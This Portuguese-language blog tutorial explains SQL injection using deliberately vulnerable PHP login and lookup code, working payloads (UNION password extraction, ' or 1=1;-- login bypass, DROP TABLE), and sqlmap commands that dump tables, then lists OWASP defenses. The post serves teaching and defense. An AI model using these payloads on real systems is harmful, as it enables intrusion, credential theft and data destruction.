DEV Community

Luiz Zulian
Luiz Zulian

Posted on

'; SQL_Injection ( ) ;--

O que é isso?

SQL Injection é um tipo de exploração de injeção
em consultas de bancos de dados SQL.

Vulnerabilidades de injeção é basicamente injetar
código malicioso em uma entrada do sistema,
com o intuito de causar um comportamento indesejado.

As vulnerabilidades de injeção são frequentemente encontradas em:

  • Consultas SQL (Structured Query Language)
  • Consultas LDAP (Lightweight Directory Access Protocol)
  • XPath (XML Path Language)
  • NoSQL (NotSQL)
  • Comandos do sistema operacional (linux, windows, etc...)
  • Analisadores XML
  • Cabeçalhos SMTP (Simple Mail Transfer Protocol)
  • RegEx (Expressões regulares)
  • JSON (JavaScript Object Notation)
  • Consultas ORM (Object-relational mapping)
  • Navegação OGNL (Object-Graph Navigation Language)

Mas vamos focar apenas em Injeção de SQL.

SQL_Injection, enfim

SQL_Injection em tradução livre é Injeção de SQL,
seu nome expressa muito bem a ideia a ideia da técnica,
Injetar comandos de banco de dados não desejados em uma consulta SQL.

O primeiro relado dessa técnica foi feito no ano de 1998
em um artigo na Phrack Magazine.

As falhas de injeção são muito comuns,
principalmente em código legado e em sistemas mais amadores.

Quase qualquer fonte de dados pode ser um vetor de injeção de sql,
variáveis de ambiente, parâmetros, serviços da Web externos e internos e todos
os tipos de usuários.

As falhas de injeção, hoje são fáceis de descobrir ao examinar o código fonte,
Veremos exemplos a seguir...

Scanners e fuzzers podem ajudar desenvolvedores e invasores a encontrar
falhas de injeção.

A injeção pode resultar em perda de dados, corrupção ou divulgação para partes
não autorizadas, perda de responsabilidade ou negação de acesso.

A injeção às vezes pode levar à aquisição completa do host.
O impacto nos negócios depende das necessidades do aplicativo e dos dados.

O que me deixaria vulnerável?

Uma aplicação é vulnerável a este ataque quando:

  • Os dados fornecidos pelo usuário não são sanitizados, ou seja,
    não são validados, filtrados ou higienizados pela aplicação.

  • Consultas dinâmicas ou chamadas não parametrizadas sem escape ciente do
    contexto são usadas diretamente no interpretador.

  • Dados hostis são usados ​​em parâmetros de pesquisa de mapeamento relacional de
    objeto (ORM) para extrair registros confidenciais adicionais.

  • Os dados hostis são usados ​​diretamente ou concatenados, de forma que o SQL ou
    o comando contenha a estrutura e os dados hostis em consultas dinâmicas,
    comandos ou procedimentos armazenados.

A revisão do código-fonte é o
melhor método para detectar se os aplicativos são vulneráveis ​​a injeções,
seguida de perto por testes automatizados completos de todos os parâmetros,
cabeçalhos, URL, cookies, JSON, SOAP e entradas de dados XML.

As organizações podem incluir ferramentas de fonte estática (SAST) e teste de
aplicativo dinâmico (DAST) no pipeline de CI / CD para identificar falhas de
injeção recém-introduzidas antes da implantação de produção.

Fonte: owasp.org

Entendendo o SQL Injection

Servidor

Vamos imaginar um sistema hospedado em teste.com,
esse sistema quando passado o ID, mostra o nome do usuário.

Para chamar, podemos fazer assim:

teste.com?id=10

Podemos imaginar nosso backend da seguinte forma:

// ...
$userId = $_GET['id'];
$sql = "SELECT NAME FROM USERS WHERE ID = '$id' ORDER BY NAME; ";
$user = $conn->query($sql);

echo "Nome do usuário: " . $user["name"] . "<br>";
// ...
Enter fullscreen mode Exit fullscreen mode

O que nos interessa é o SQL montado, ele seria assim:

SELECT NAME FROM USERS WHERE ID = '10' ORDER BY NAME;
Enter fullscreen mode Exit fullscreen mode

O vilão ';--

Agora é hora de conhecer o vilão ';--

Ele é formado por alguns comandos de SQL bem legais, são eles:

  • ' Aspa, ela simboliza abertura e fechamento de string em SQL,
    no nosso caso seria o fechamento.

  • ; Simboliza o fim de uma consulta sql, similar a outras linguagens de
    programação.

  • -- simboliza comentário de linha, similar ao // de outras linguagens,
    aqui ele tem a função de anular o restante do sql.

Bora rodar o bandião:

teste.com?id=';--

Reparem que nosso SQL se transformou, zeramos o ID, e anulamos o resto da
consulta

SELECT NAME FROM USERS WHERE ID = '';--' ORDER BY NAME;
Enter fullscreen mode Exit fullscreen mode

Bora fazer maldade

Vamos nos aproveitar dessa vulnerabilidade e dominar a consulta.

Podemos anular a consulta, e unirmos uma nova consulta UNION

Nesse caso teríamos um problema, o servidor sempre retorna só o campo NAME

Então faremos nossa consulta e renomearemos o resultado para NAME AS NAME

teste.com?id=' UNION SELECT PASSWORD AS NAME FROM USERS ;--

SELECT NAME FROM USERS WHERE ID = '' UNION SELECT PASSWORD AS NAME FROM USERS --' ORDER BY NAME;
Enter fullscreen mode Exit fullscreen mode

By-Pass

Uma outra técnica legal que pode ser aplicada é o by-pass.

Ele consiste em "Pular" alguma parte do processo.

Para entender melhor, vamos imaginar um servidor com o papel de controlar o
login de um usuário

ele recebe EMAIL e SENHA

// ...
$email = $_POST['email']; // Recebe email
$senha = $_POST['senha']; // Recebe senha

// Monta o sql
$sql = "SELECT nome FROM USERS WHERE email='$email' and senha='$senha'; ";
$user = $conn->query($sql); // Consulta o sql no banco

// Se existir o usuário com a senha
if ($user[0]){
  // Da boas vindas
  echo "Bem vindo {$user[0]['nome']}!";
} 
// Se não existir
else {
  // Notifica o usuário
  echo "Email ou senha incorretos";
}
// ...
Enter fullscreen mode Exit fullscreen mode

Então se enviarmos o seguinte usuário e senha

// POST teste.com/login
{
  "email": "teste@teste.com",
  "senha": "Password"
}
Enter fullscreen mode Exit fullscreen mode

Teremos o seguinte sql gerado

SELECT nome FROM USERS WHERE email='teste@teste.com' and senha='Password';
Enter fullscreen mode Exit fullscreen mode

Bora fazer o bypass

A primeira forma que gostaria de apresentar é a ""="" is Always True,
ou seja, vazio é igual a vazio sempre, seu script é esse: ' or ''=',
bora enviar:

// POST teste.com/login
{
  "email": "' or ''='",
  "senha": "' or ''='"
}
Enter fullscreen mode Exit fullscreen mode

A query gerada será a seguinte

SELECT nome FROM USERS WHERE email='' or ''='' and senha='' or ''='';
Enter fullscreen mode Exit fullscreen mode

Entender o que esta rolando é um pouco complicado, mas o resultado é muito
eficiente pois aproveita muito bem as aspas do script original.

Vamos analisar essa parte email='' or ''=''
Ela sempre sera verdadeira por uma questão booleana,

email é igual a vazio ou vazio é igual a vazio?

Vazio é igual a vazio sempre!

O mesmo se aplica a senha...

Mas essa tecnica tem um problema, muitas vezes a senha é criptografada,
nesses casos perderíamos a comparação,

SELECT nome FROM USERS WHERE email='' or ''='' and senha='698dc19d489c4e4';
Enter fullscreen mode Exit fullscreen mode

Não funcionaria...

Mas não desanime, tenho a solução perfeita para esses casos,
pular a validação de senha, bora ver a seguir.


Outra forma de fazer um bypass muito eficiente é ignorando a senha.

Para isso, anularemos a query, tornaremos ela verdadeira e ignoraremos a senha,

Mas vamos por partes, envenenaremos o campo de email:

  • ' Fecha a string de email
  • OR 1=1 a condição anterior, que será anulada, ou 1=1, que sempre será verdade
  • ;-- ignora o resto da query, no caso a parte de validação de senha

Teremos o seguinte resultado, simples e elegante.

' or 1=1; --

Vamos enviar e ver o que acontece:

// POST teste.com/login
{
  "email": "' or 1=1;--",
  "senha": "NaoPrecisoDeSenha"
}
Enter fullscreen mode Exit fullscreen mode

A query gerada será a seguinte

SELECT nome FROM USERS WHERE email='' or 1=1;--' and senha='NaoPrecisoDeSenha';
Enter fullscreen mode Exit fullscreen mode

Um efeito colateral interessante é que não especificamos qual usuário queremos,
então o banco retorna o primeiro usuário cadastrado, que muitas vezes é o adm...
Mas podemos forçar o adm também passando mais parâmetros no lugar do 1=1

Destruído um banco de dados

Mas o pior ainda está por vir, injeção de sql pode rodar qualquer coisa no banco
inclusive drop tables, causando assim danos ao sistema, perca de dados,
podendo ser até mesmo irreparáveis caso não exista um backup

teste.com?id='; DROP TABLE USERS; --

// POST teste.com/login
{
  "email": "'; DROP TABLE USERS; --",
  "senha": "NuncaMais"
}
Enter fullscreen mode Exit fullscreen mode
SELECT nome FROM USERS WHERE email=''; DROP TABLE USERS; --' and senha='NuncaMais';
Enter fullscreen mode Exit fullscreen mode

SQLMAP

`         ___
`        __H__
`  ___ ___[']_____ ___ ___  {1.6.7#stable}
` |_ -| . [,]     | .'| . |
` |___|_  [)]_|_|_|__,|  _|
`       |_|V…         |_|   http://sqlmap.org
Enter fullscreen mode Exit fullscreen mode

sqlmap basicamente é uma ferramenta de exploração de vulnerabilidades de sql

Descobrindo se um paramento é injetável

Vamos iniciar chamando o sqlmap

na sequencia a url para ser explorada, --url teste.com

e por fim, devemos passar o parâmetro de injeção representado pelo numero 1
?id=1

Juntando tudo fica:

sqlmap --url 'teste.com?id=1'
Enter fullscreen mode Exit fullscreen mode

Se for possível injetar, veremos

GET parameter 'id' appears to be 'MySQL' injectable
Enter fullscreen mode Exit fullscreen mode

Se não for possível, veremos

All tested parameters do not appear to be injectable
Enter fullscreen mode Exit fullscreen mode

Listando os bancos de dados

Agora começa a parte braba, vamos listar quais os bancos de dados,
para isso adicionamos um --dbs

Lista os bancos

sqlmap --url 'teste.com?id=1' --dbs
Enter fullscreen mode Exit fullscreen mode

Listando as tabelas

Lista as tabelas

sqlmap --url 'teste.com?id=1' -D banco --tables
Enter fullscreen mode Exit fullscreen mode

Lista as colunas

Lista as colunas

sqlmap --url 'teste.com?id=1' -D banco -T tabela --columns
Enter fullscreen mode Exit fullscreen mode

Dump

Mostra o conteúdo da tabela

sqlmap --url 'teste.com?id=1' -D banco -T tabela -C nome,senha --dump
Enter fullscreen mode Exit fullscreen mode

Oh e agora, quem poderá nos defender?

  • A opção preferida é usar uma API segura, que evita totalmente o uso do
    interpretador ou fornece uma interface parametrizada, ou migrar para usar
    Object Relational Mapping Tools (ORMs). Nota: Mesmo quando parametrizados,
    os procedimentos armazenados ainda podem introduzir injeção de SQL se
    PL / SQL ou T-SQL concatenar consultas e dados ou executar dados hostis com
    EXECUTE IMMEDIATE ou exec ().

  • Use validação de entrada positiva ou “whitelist” do lado do servidor.
    Esta não é uma defesa completa, pois muitos aplicativos requerem caracteres
    especiais, como áreas de texto ou APIs para aplicativos móveis.

  • Para quaisquer consultas dinâmicas residuais, escape de caracteres especiais
    usando a sintaxe de escape específica para esse interpretador.
    Nota: Estruturas SQL, como nomes de tabelas, nomes de colunas e assim por
    diante, não podem ser escapadas e, portanto, nomes de estruturas fornecidos
    pelo usuário são perigosos. Este é um problema comum em software de elaboração
    de relatórios.

  • Use LIMIT e outros controles SQL em consultas para evitar divulgação em massa
    de registros no caso de injeção de SQL.

  • Não exibir logs de erro para o usuário,
    logs de erros costumam expor estruturas sql,
    e até mesmo partes do código fonte.

Fonte: owasp.org

Top comments (2)

Collapse
 
feliphequeiroz profile image
Feliphe Queiróz

Obrigado pela aula. Aprendi muito! ';--

Collapse
 
nikki_eke profile image
Nikki Eke

gracias por compartir!